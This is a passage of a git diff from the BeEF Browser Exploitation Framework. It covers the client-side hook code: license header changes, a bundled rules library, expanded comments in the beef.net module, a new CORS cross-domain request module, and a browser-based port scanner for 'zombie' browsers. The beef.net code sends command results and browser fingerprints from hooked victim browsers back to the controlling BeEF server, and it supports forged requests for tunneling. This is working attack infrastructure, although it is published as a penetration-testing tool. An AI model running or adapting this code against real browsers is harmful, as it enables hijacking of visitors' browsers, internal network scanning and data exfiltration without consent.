+ };
+
+ // Extracts the result from a wrapped and chained object.
+ wrapper.prototype.value = function() {
+ return this._wrapped;
+ };
+
+}).call(this);
+
+});
diff --git a/core/main/client/lib/evercookie.js b/core/main/client/lib/evercookie.js
index 4eb1be6d6..f723f6a46 100644
--- a/core/main/client/lib/evercookie.js
+++ b/core/main/client/lib/evercookie.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*
* evercookie 0.4 (10/13/2010) -- extremely persistent cookies
*
diff --git a/core/main/client/lib/jools.min.js b/core/main/client/lib/jools.min.js
new file mode 100644
index 000000000..daf16b60d
--- /dev/null
+++ b/core/main/client/lib/jools.min.js
@@ -0,0 +1 @@
+var require=function(file,cwd){var resolved=require.resolve(file,cwd||"/");var mod=require.modules[resolved];if(!mod){throw new Error("Failed to resolve module "+file+", tried "+resolved)}var res=mod._cached?mod._cached:mod();return res};require.paths=[];require.modules={};require.extensions=[".js",".coffee"];require._core={assert:true,events:true,fs:true,path:true,vm:true};require.resolve=(function(){return function(x,cwd){if(!cwd){cwd="/"}if(require._core[x]){return x}var path=require.modules.path();cwd=path.resolve("/",cwd);var y=cwd||"/";if(x.match(/^(?:\.\.?\/|\/)/)){var m=loadAsFileSync(path.resolve(y,x))||loadAsDirectorySync(path.resolve(y,x));if(m){return m}}var n=loadNodeModulesSync(x,y);if(n){return n}throw new Error("Cannot find module '"+x+"'");function loadAsFileSync(x){if(require.modules[x]){return x}for(var i=0;i=0;i--){if(parts[i]==="node_modules"){continue}var dir=parts.slice(0,i+1).join("/")+"/node_modules";dirs.push(dir)}return dirs}}})();require.alias=function(from,to){var path=require.modules.path();var res=null;try{res=require.resolve(from+"/package.json","/")}catch(err){res=require.resolve(from,"/")}var basedir=path.dirname(res);var keys=(Object.keys||function(obj){var res=[];for(var key in obj){res.push(key)}return res})(require.modules);for(var i=0;i0){var fn=queue.shift();fn()}}},true)}return function(fn){if(canPost){queue.push(fn);window.postMessage("browserify-tick","*")}else{setTimeout(fn,0)}}})()}if(!process.title){process.title="browser"}if(!process.binding){process.binding=function(name){if(name==="evals"){return require("vm")}else{throw new Error("No such module")}}}if(!process.cwd){process.cwd=function(){return"."}}if(!process.env){process.env={}}if(!process.argv){process.argv=[]}require.define("path",function(require,module,exports,__dirname,__filename){function filter(xs,fn){var res=[];for(var i=0;i=0;i--){var last=parts[i];if(last=="."){parts.splice(i,1)}else{if(last===".."){parts.splice(i,1);up++}else{if(up){parts.splice(i,1);up--}}}}if(allowAboveRoot){for(;up--;up){parts.unshift("..")}}return parts}var splitPathRe=/^(.+\/(?!$)|\/)?((?:.+?)?(\.[^.]*)?)$/;exports.resolve=function(){var resolvedPath="",resolvedAbsolute=false;for(var i=arguments.length;i>=-1&&!resolvedAbsolute;i--){var path=(i>=0)?arguments[i]:process.cwd();if(typeof path!=="string"||!path){continue}resolvedPath=path+"/"+resolvedPath;resolvedAbsolute=path.charAt(0)==="/"}resolvedPath=normalizeArray(filter(resolvedPath.split("/"),function(p){return !!p}),!resolvedAbsolute).join("/");return((resolvedAbsolute?"/":"")+resolvedPath)||"."};exports.normalize=function(path){var isAbsolute=path.charAt(0)==="/",trailingSlash=path.slice(-1)==="/";path=normalizeArray(filter(path.split("/"),function(p){return !!p}),!isAbsolute).join("/");if(!path&&!isAbsolute){path="."}if(path&&trailingSlash){path+="/"}return(isAbsolute?"/":"")+path};exports.join=function(){var paths=Array.prototype.slice.call(arguments,0);return exports.normalize(filter(paths,function(p,index){return p&&typeof p==="string"}).join("/"))};exports.dirname=function(path){var dir=splitPathRe.exec(path)[1]||"";var isWindows=false;if(!dir){return"."}else{if(dir.length===1||(isWindows&&dir.length<=3&&dir.charAt(1)===":")){return dir}else{return dir.substring(0,dir.length-1)}}};exports.basename=function(path,ext){var f=splitPathRe.exec(path)[2]||"";if(ext&&f.substr(-1*ext.length)===ext){f=f.substr(0,f.length-ext.length)}return f};exports.extname=function(path){return splitPathRe.exec(path)[3]||""}});require.define("/node_modules/jools/package.json",function(require,module,exports,__dirname,__filename){module.exports={main:"./lib/jools"}});require.define("/node_modules/jools/lib/jools.js",function(require,module,exports,__dirname,__filename){var utils=require("./utils"),_=require("underscore");exports.version="0.0.1";function Jools(rules){this.rules=rules}Jools.prototype.execute=function(fact){var self=this,session=_.clone(fact),last_session=_.clone(fact),goal=false;while(!goal){var changes=false;for(var x=0;x2;if(obj==null){obj=[]}if(nativeReduce&&obj.reduce===nativeReduce){if(context){iterator=_.bind(iterator,context)}return initial?obj.reduce(iterator,memo):obj.reduce(iterator)}each(obj,function(value,index,list){if(!initial){memo=value;initial=true}else{memo=iterator.call(context,memo,value,index,list)}});if(!initial){throw new TypeError("Reduce of empty array with no initial value")}return memo};_.reduceRight=_.foldr=function(obj,iterator,memo,context){var initial=arguments.length>2;if(obj==null){obj=[]}if(nativeReduceRight&&obj.reduceRight===nativeReduceRight){if(context){iterator=_.bind(iterator,context)}return initial?obj.reduceRight(iterator,memo):obj.reduceRight(iterator)}var reversed=_.toArray(obj).reverse();if(context&&!initial){iterator=_.bind(iterator,context)}return initial?_.reduce(reversed,iterator,memo,context):_.reduce(reversed,iterator)};_.find=_.detect=function(obj,iterator,context){var result;any(obj,function(value,index,list){if(iterator.call(context,value,index,list)){result=value;return true}});return result};_.filter=_.select=function(obj,iterator,context){var results=[];if(obj==null){return results}if(nativeFilter&&obj.filter===nativeFilter){return obj.filter(iterator,context)}each(obj,function(value,index,list){if(iterator.call(context,value,index,list)){results[results.length]=value}});return results};_.reject=function(obj,iterator,context){var results=[];if(obj==null){return results}each(obj,function(value,index,list){if(!iterator.call(context,value,index,list)){results[results.length]=value}});return results};_.every=_.all=function(obj,iterator,context){var result=true;if(obj==null){return result}if(nativeEvery&&obj.every===nativeEvery){return obj.every(iterator,context)}each(obj,function(value,index,list){if(!(result=result&&iterator.call(context,value,index,list))){return breaker}});return !!result};var any=_.some=_.any=function(obj,iterator,context){iterator||(iterator=_.identity);var result=false;if(obj==null){return result}if(nativeSome&&obj.some===nativeSome){return obj.some(iterator,context)}each(obj,function(value,index,list){if(result||(result=iterator.call(context,value,index,list))){return breaker}});return !!result};_.include=_.contains=function(obj,target){var found=false;if(obj==null){return found}if(nativeIndexOf&&obj.indexOf===nativeIndexOf){return obj.indexOf(target)!=-1}found=any(obj,function(value){return value===target});return found};_.invoke=function(obj,method){var args=slice.call(arguments,2);return _.map(obj,function(value){return(_.isFunction(method)?method||value:value[method]).apply(value,args)})};_.pluck=function(obj,key){return _.map(obj,function(value){return value[key]})};_.max=function(obj,iterator,context){if(!iterator&&_.isArray(obj)&&obj[0]===+obj[0]){return Math.max.apply(Math,obj)}if(!iterator&&_.isEmpty(obj)){return -Infinity}var result={computed:-Infinity};each(obj,function(value,index,list){var computed=iterator?iterator.call(context,value,index,list):value;computed>=result.computed&&(result={value:value,computed:computed})});return result.value};_.min=function(obj,iterator,context){if(!iterator&&_.isArray(obj)&&obj[0]===+obj[0]){return Math.min.apply(Math,obj)}if(!iterator&&_.isEmpty(obj)){return Infinity}var result={computed:Infinity};each(obj,function(value,index,list){var computed=iterator?iterator.call(context,value,index,list):value;computedb?1:0}),"value")};_.groupBy=function(obj,val){var result={};var iterator=_.isFunction(val)?val:function(obj){return obj[val]};each(obj,function(value,index){var key=iterator(value,index);(result[key]||(result[key]=[])).push(value)});return result};_.sortedIndex=function(array,obj,iterator){iterator||(iterator=_.identity);var low=0,high=array.length;while(low>1;iterator(array[mid])=0})})};_.difference=function(array){var rest=_.flatten(slice.call(arguments,1),true);return _.filter(array,function(value){return !_.include(rest,value)})};_.zip=function(){var args=slice.call(arguments);var length=_.max(_.pluck(args,"length"));var results=new Array(length);for(var i=0;i=0;i--){args=[funcs[i].apply(this,args)]}return args[0]}};_.after=function(times,func){if(times<=0){return func()}return function(){if(--times<1){return func.apply(this,arguments)}}};_.keys=nativeKeys||function(obj){if(obj!==Object(obj)){throw new TypeError("Invalid object")}var keys=[];for(var key in obj){if(_.has(obj,key)){keys[keys.length]=key}}return keys};_.values=function(obj){return _.map(obj,_.identity)};_.functions=_.methods=function(obj){var names=[];for(var key in obj){if(_.isFunction(obj[key])){names.push(key)}}return names.sort()};_.extend=function(obj){each(slice.call(arguments,1),function(source){for(var prop in source){obj[prop]=source[prop]}});return obj};_.pick=function(obj){var result={};each(_.flatten(slice.call(arguments,1)),function(key){if(key in obj){result[key]=obj[key]}});return result};_.defaults=function(obj){each(slice.call(arguments,1),function(source){for(var prop in source){if(obj[prop]==null){obj[prop]=source[prop]}}});return obj};_.clone=function(obj){if(!_.isObject(obj)){return obj}return _.isArray(obj)?obj.slice():_.extend({},obj)};_.tap=function(obj,interceptor){interceptor(obj);return obj};function eq(a,b,stack){if(a===b){return a!==0||1/a==1/b}if(a==null||b==null){return a===b}if(a._chain){a=a._wrapped}if(b._chain){b=b._wrapped}if(a.isEqual&&_.isFunction(a.isEqual)){return a.isEqual(b)}if(b.isEqual&&_.isFunction(b.isEqual)){return b.isEqual(a)}var className=toString.call(a);if(className!=toString.call(b)){return false}switch(className){case"[object String]":return a==String(b);case"[object Number]":return a!=+a?b!=+b:(a==0?1/a==1/b:a==+b);case"[object Date]":case"[object Boolean]":return +a==+b;case"[object RegExp]":return a.source==b.source&&a.global==b.global&&a.multiline==b.multiline&&a.ignoreCase==b.ignoreCase}if(typeof a!="object"||typeof b!="object"){return false}var length=stack.length;while(length--){if(stack[length]==a){return true}}stack.push(a);var size=0,result=true;if(className=="[object Array]"){size=a.length;result=size==b.length;if(result){while(size--){if(!(result=size in a==size in b&&eq(a[size],b[size],stack))){break}}}}else{if("constructor" in a!="constructor" in b||a.constructor!=b.constructor){return false}for(var key in a){if(_.has(a,key)){size++;if(!(result=_.has(b,key)&&eq(a[key],b[key],stack))){break}}}if(result){for(key in b){if(_.has(b,key)&&!(size--)){break}}result=!size}}stack.pop();return result}_.isEqual=function(a,b){return eq(a,b,[])};_.isEmpty=function(obj){if(obj==null){return true}if(_.isArray(obj)||_.isString(obj)){return obj.length===0}for(var key in obj){if(_.has(obj,key)){return false}}return true};_.isElement=function(obj){return !!(obj&&obj.nodeType==1)};_.isArray=nativeIsArray||function(obj){return toString.call(obj)=="[object Array]"};_.isObject=function(obj){return obj===Object(obj)};_.isArguments=function(obj){return toString.call(obj)=="[object Arguments]"};if(!_.isArguments(arguments)){_.isArguments=function(obj){return !!(obj&&_.has(obj,"callee"))}}_.isFunction=function(obj){return toString.call(obj)=="[object Function]"};_.isString=function(obj){return toString.call(obj)=="[object String]"};_.isNumber=function(obj){return toString.call(obj)=="[object Number]"};_.isFinite=function(obj){return _.isNumber(obj)&&isFinite(obj)};_.isNaN=function(obj){return obj!==obj};_.isBoolean=function(obj){return obj===true||obj===false||toString.call(obj)=="[object Boolean]"};_.isDate=function(obj){return toString.call(obj)=="[object Date]"};_.isRegExp=function(obj){return toString.call(obj)=="[object RegExp]"};_.isNull=function(obj){return obj===null};_.isUndefined=function(obj){return obj===void 0};_.has=function(obj,key){return hasOwnProperty.call(obj,key)};_.noConflict=function(){root._=previousUnderscore;return this};_.identity=function(value){return value};_.times=function(n,iterator,context){for(var i=0;i/g,">").replace(/"/g,""").replace(/'/g,"'").replace(/\//g,"/")};_.result=function(object,property){if(object==null){return null}var value=object[property];return _.isFunction(value)?value.call(object):value};_.mixin=function(obj){each(_.functions(obj),function(name){addToWrapper(name,_[name]=obj[name])})};var idCounter=0;_.uniqueId=function(prefix){var id=idCounter++;return prefix?prefix+id:id};_.templateSettings={evaluate:/<::([\s\S]+?)::>/g,interpolate:/<::=([\s\S]+?)::>/g,escape:/<:-([\s\S]+?):>/g};var noMatch=/.^/;var escapes={"\\":"\\","'":"'",r:"\r",n:"\n",t:"\t",u2028:"\u2028",u2029:"\u2029"};for(var p in escapes){escapes[escapes[p]]=p}var escaper=/\\|'|\r|\n|\t|\u2028|\u2029/g;var unescaper=/\\(\\|'|r|n|t|u2028|u2029)/g;var unescape=function(code){return code.replace(unescaper,function(match,escape){return escapes[escape]})};_.template=function(text,data,settings){settings=_.defaults(settings||{},_.templateSettings);var source="__p+='"+text.replace(escaper,function(match){return"\\"+escapes[match]}).replace(settings.escape||noMatch,function(match,code){return"'+\n_.escape("+unescape(code)+")+\n'"}).replace(settings.interpolate||noMatch,function(match,code){return"'+\n("+unescape(code)+")+\n'"}).replace(settings.evaluate||noMatch,function(match,code){return"';\n"+unescape(code)+"\n;__p+='"})+"';\n";if(!settings.variable){source="with(obj||{}){\n"+source+"}\n"}source="var __p='';var print=function(){__p+=Array.prototype.join.call(arguments, '')};\n"+source+"return __p;\n";var render=new Function(settings.variable||"obj","_",source);if(data){return render(data,_)}var template=function(data){return render.call(this,data,_)};template.source="function("+(settings.variable||"obj")+"){\n"+source+"}";return template};_.chain=function(obj){return _(obj).chain()};var wrapper=function(obj){this._wrapped=obj};_.prototype=wrapper.prototype;var result=function(obj,chain){return chain?_(obj).chain():obj};var addToWrapper=function(name,func){wrapper.prototype[name]=function(){var args=slice.call(arguments);unshift.call(args,this._wrapped);return result(func.apply(_,args),this._chain)}};_.mixin(_);each(["pop","push","reverse","shift","sort","splice","unshift"],function(name){var method=ArrayProto[name];wrapper.prototype[name]=function(){var wrapped=this._wrapped;method.apply(wrapped,arguments);var length=wrapped.length;if((name=="shift"||name=="splice")&&length===0){delete wrapped[0]}return result(wrapped,this._chain)}});each(["concat","join","slice"],function(name){var method=ArrayProto[name];wrapper.prototype[name]=function(){return result(method.apply(this._wrapped,arguments),this._chain)}});wrapper.prototype.chain=function(){this._chain=true;return this};wrapper.prototype.value=function(){return this._wrapped}}).call(this)});
\ No newline at end of file
diff --git a/core/main/client/logger.js b/core/main/client/logger.js
index 5c3c6e2b5..3d1217c37 100644
--- a/core/main/client/logger.js
+++ b/core/main/client/logger.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*!
* @literal object: beef.logger
*
diff --git a/core/main/client/mitb.js b/core/main/client/mitb.js
index 626b36ce8..6d2229693 100644
--- a/core/main/client/mitb.js
+++ b/core/main/client/mitb.js
@@ -1,19 +1,10 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
beef.mitb = {
cid:null,
diff --git a/core/main/client/net.js b/core/main/client/net.js
index 66daf0245..62c98a8ac 100644
--- a/core/main/client/net.js
+++ b/core/main/client/net.js
@@ -1,35 +1,37 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*!
* @literal object: beef.net
*
- * Provides basic networking functions.
+ * Provides basic networking functions,
+ * like beef.net.request and beef.net.forgeRequest,
+ * used by BeEF command modules and the Requester extension,
+ * as well as beef.net.send which is used to return commands
+ * to BeEF server-side components.
+ *
+ * Also, it contains the core methods used by the XHR-polling
+ * mechanism (flush, queue)
*/
beef.net = {
host:"<%= @beef_host %>",
port:"<%= @beef_port %>",
hook:"<%= @beef_hook %>",
+ httpproto:"<%= @beef_proto %>",
handler:'/dh',
chop:500,
pad:30, //this is the amount of padding for extra params such as pc, pid and sid
sid_count:0,
cmd_queue:[],
- //Command object
+ /**
+ * Command object. This represents the data to be sent back to BeEF,
+ * using the beef.net.send() method.
+ */
command:function () {
this.cid = null;
this.results = null;
@@ -37,13 +39,17 @@ beef.net = {
this.callback = null;
},
- //Packet object
+ /**
+ * Packet object. A single chunk of data. X packets -> 1 stream
+ */
packet:function () {
this.id = null;
this.data = null;
},
- //Stream object
+ /**
+ * Stream object. Contains X packets, which are command result chunks.
+ */
stream:function () {
this.id = null;
this.packets = [];
@@ -59,7 +65,8 @@ beef.net = {
/**
* Response Object - used in the beef.net.request callback
- * Note: as we are using async mode, the response object will be empty if returned.Using sync mode, request obj fields will be populated.
+ * NOTE: as we are using async mode, the response object will be empty if returned.
+ * Using sync mode, request obj fields will be populated.
*/
response:function () {
this.status_code = null; // 500, 404, 200, 302
@@ -72,7 +79,13 @@ beef.net = {
this.headers = null; // full response headers
},
- //Queues the command, to be sent back to the framework on the next refresh
+ /**
+ * Queues the specified command results.
+ * @param: {String} handler: the server-side handler that will be called
+ * @param: {Integer} cid: command id
+ * @param: {String} results: the data to send
+ * @param: {Function} callback: the function to call after execution
+ */
queue:function (handler, cid, results, callback) {
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
var s = new beef.net.command();
@@ -84,26 +97,40 @@ beef.net = {
}
},
- //Queues the current command and flushes the queue straight away
+ /**
+ * Queues the current command results and flushes the queue straight away.
+ * NOTE: Always send Browser Fingerprinting results
+ * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
+ * even if WebSockets are enabled.
+ * @param: {String} handler: the server-side handler that will be called
+ * @param: {Integer} cid: command id
+ * @param: {String} results: the data to send
+ * @param: {Function} callback: the function to call after execution
+ */
send:function (handler, cid, results, callback) {
- if (typeof beef.websocket === "undefined") {
+ if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
this.queue(handler, cid, results, callback);
this.flush();
- }
- else {
+ }else {
try {
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
'","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
- }
- catch (e) {
+ }catch (e) {
this.queue(handler, cid, results, callback);
this.flush();
- }
+ }
}
},
- //Flush all currently queued commands to the framework
+ /**
+ * Flush all currently queued command results to the framework,
+ * chopping the data in chunks ('chunk' method) which will be re-assembled
+ * server-side by the network stack.
+ * NOTE: currently 'flush' is used only with the default
+ * XHR-polling mechanism. If WebSockets are used, the data is sent
+ * back to BeEF straight away.
+ */
flush:function () {
if (this.cmd_queue.length > 0) {
var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
@@ -127,22 +154,30 @@ beef.net = {
}
},
- //Split string into chunk lengths determined by amount
+ /**
+ * Split the input data into chunk lengths determined by the amount parameter.
+ * @param: {String} str: the input data
+ * @param: {Integer} amount: chunk length
+ */
chunk:function (str, amount) {
if (typeof amount == 'undefined') n = 2;
return str.match(RegExp('.{1,' + amount + '}', 'g'));
},
- //Push packets to framework
+ /**
+ * Push the input stream back to the BeEF server-side components.
+ * It uses beef.net.request to send back the data.
+ * @param: {Object} stream: the stream object to be sent back.
+ */
push:function (stream) {
//need to implement wait feature here eventually
for (var i = 0; i < stream.pc; i++) {
- this.request(this.port == '443' ? 'https' : 'http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
+ this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
}
},
/**
- *Performs http requests
+ * Performs http requests
* @param: {String} scheme: HTTP or HTTPS
* @param: {String} method: GET or POST
* @param: {String} domain: bindshell.net, 192.168.3.4, etc
@@ -201,13 +236,12 @@ beef.net = {
data:data,
timeout:(timeout * 1000),
- //needed otherwise jQuery always add Content-type: application/xml, even if data is populated
+ //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
beforeSend:function (xhr) {
if (method == "POST") {
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
}
},
-
success:function (data, textStatus, xhr) {
var end_time = new Date().getTime();
response.status_code = xhr.status;
@@ -248,9 +282,11 @@ beef.net = {
},
/*
- * Similar to this.request, except from a few things that are needed when dealing with forged requests:
+ * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
* - requestid: needed on the callback
* - allowCrossDomain: set cross-domain requests as allowed or blocked
+ *
+ * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
*/
forge_request:function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
@@ -293,14 +329,21 @@ beef.net = {
return response;
}
- // build and execute the request
- if (method == "POST") {
+ /*
+ * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
+ * This will turn POSTs into GETs for remote-domain requests.
+ */
+ if (method == "POST"){
$j.ajaxSetup({
- data:data
+ dataType: dataType
+ });
+ } else {
+ $j.ajaxSetup({
+ dataType: 'script'
});
}
- // this is required for bugs in IE so data can be transfered back to the server
+ // this is required for bugs in IE so data can be transferred back to the server
if ( beef.browser.isIE() ) {
dataType = 'script'
}
@@ -311,9 +354,7 @@ beef.net = {
headers: headers,
timeout: (timeout * 1000),
- // needed otherwise jQuery always adds:
- // Content-type: application/xml
- // even if data is populated
+ //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
beforeSend:function (xhr) {
if (method == "POST") {
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
@@ -415,7 +456,9 @@ beef.net = {
return false;
},
- //Sends back browser details to framework
+ /**
+ * Sends back browser details to framework, calling beef.browser.getDetails()
+ */
browser_details:function () {
var details = beef.browser.getDetails();
details['HookSessionID'] = beef.session.get_hook_session_id();
diff --git a/core/main/client/net/cors.js b/core/main/client/net/cors.js
new file mode 100644
index 000000000..01cf86008
--- /dev/null
+++ b/core/main/client/net/cors.js
@@ -0,0 +1,77 @@
+beef.net.cors = {
+
+ handler: "cors",
+
+ /**
+ * Response Object - used in the beef.net.request callback
+ */
+ response:function () {
+ this.status = null; // 500, 404, 200, 302, etc
+ this.headers = null; // full response headers
+ this.body = null; // full response body
+ },
+
+ /**
+ * Make a cross-domain request using CORS
+ *
+ * @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
+ * @param url {String} url
+ * @param data {String} request body
+ * @param callback {Function} function to callback on completion
+ */
+ request: function(method, url, data, callback) {
+
+ var xhr;
+ var response = new this.response;
+
+ if (XMLHttpRequest) {
+ xhr = new XMLHttpRequest();
+
+ if ('withCredentials' in xhr) {
+ xhr.open(method, url, true);
+ xhr.onerror = function() {
+ };
+ xhr.onreadystatechange = function() {
+ if (xhr.readyState === 4) {
+ response.headers = this.getAllResponseHeaders()
+ response.body = this.responseText;
+ response.status = this.status;
+ if (!!callback) {
+ if (!!response) {
+ callback(response);
+ } else {
+ callback('ERROR: No Response. CORS requests may be denied for this resource.')
+ }
+ }
+ }
+ };
+ xhr.send(data);
+ }
+ } else if (typeof XDomainRequest != "undefined") {
+ xhr = new XDomainRequest();
+ xhr.open(method, url);
+ xhr.onerror = function() {
+ };
+ xhr.onload = function() {
+ response.headers = this.getAllResponseHeaders()
+ response.body = this.responseText;
+ response.status = this.status;
+ if (!!callback) {
+ if (!!response) {
+ callback(response);
+ } else {
+ callback('ERROR: No Response. CORS requests may be denied for this resource.')
+ }
+ }
+ };
+ xhr.send(data);
+ } else {
+ if (!!callback) callback('ERROR: Not Supported. CORS is not supported by the browser. The request was not sent.');
+ }
+
+ }
+
+};
+
+beef.regCmp('beef.net.cors');
+
diff --git a/core/main/client/net/dns.js b/core/main/client/net/dns.js
index e2f2b8b5c..698b0301b 100644
--- a/core/main/client/net/dns.js
+++ b/core/main/client/net/dns.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*!
* @literal object: beef.net.dns
*
diff --git a/core/main/client/net/local.js b/core/main/client/net/local.js
index 5aa7087ec..545ba8105 100644
--- a/core/main/client/net/local.js
+++ b/core/main/client/net/local.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*!
* @literal object: beef.net.local
*
diff --git a/core/main/client/net/portscanner.js b/core/main/client/net/portscanner.js
index 75baede99..caa0131eb 100644
--- a/core/main/client/net/portscanner.js
+++ b/core/main/client/net/portscanner.js
@@ -1,63 +1,54 @@
-//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-//
-/*!
- * @literal object: beef.net.portscanner
- *
- * Provides port scanning functions for the zombie. A mod of pdp's scanner
- *
- * Version: '0.1',
- * author: 'Petko Petkov',
- * homepage: 'http://www.gnucitizen.org'
- */
-
-beef.net.portscanner = {
-
- scanPort: function(callback, target, port, timeout)
- {
- var timeout = (timeout == null)?100:timeout;
- var img = new Image();
-
- img.onerror = function () {
- if (!img) return;
- img = undefined;
- callback(target, port, 'open');
- };
-
- img.onload = img.onerror;
-
- img.src = 'http://' + target + ':' + port;
-
- setTimeout(function () {
- if (!img) return;
- img = undefined;
- callback(target, port, 'closed');
- }, timeout);
-
- },
-
- scanTarget: function(callback, target, ports_str, timeout)
- {
- var ports = ports_str.split(",");
-
- for (index = 0; index < ports.length; index++) {
- this.scanPort(callback, target, ports[index], timeout);
- };
-
- }
-};
-
-beef.regCmp('beef.net.portscanner');
-
+//
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/*!
+ * @literal object: beef.net.portscanner
+ *
+ * Provides port scanning functions for the zombie. A mod of pdp's scanner
+ *
+ * Version: '0.1',
+ * author: 'Petko Petkov',
+ * homepage: 'http://www.gnucitizen.org'
+ */
+
+beef.net.portscanner = {
+
+ scanPort: function(callback, target, port, timeout)
+ {
+ var timeout = (timeout == null)?100:timeout;
+ var img = new Image();
+
+ img.onerror = function () {
+ if (!img) return;
+ img = undefined;
+ callback(target, port, 'open');
+ };
+
+ img.onload = img.onerror;
+
+ img.src = 'http://' + target + ':' + port;
+
+ setTimeout(function () {
+ if (!img) return;
+ img = undefined;
+ callback(target, port, 'closed');
+ }, timeout);
+
+ },
+
+ scanTarget: function(callback, target, ports_str, timeout)
+ {
+ var ports = ports_str.split(",");
+
+ for (index = 0; index < ports.length; index++) {
+ this.scanPort(callback, target, ports[index], timeout);
+ };
+
+ }
+};
+
+beef.regCmp('beef.net.portscanner');
+
diff --git a/core/main/client/net/requester.js b/core/main/client/net/requester.js
index 8d51128f1..ad388282e 100644
--- a/core/main/client/net/requester.js
+++ b/core/main/client/net/requester.js
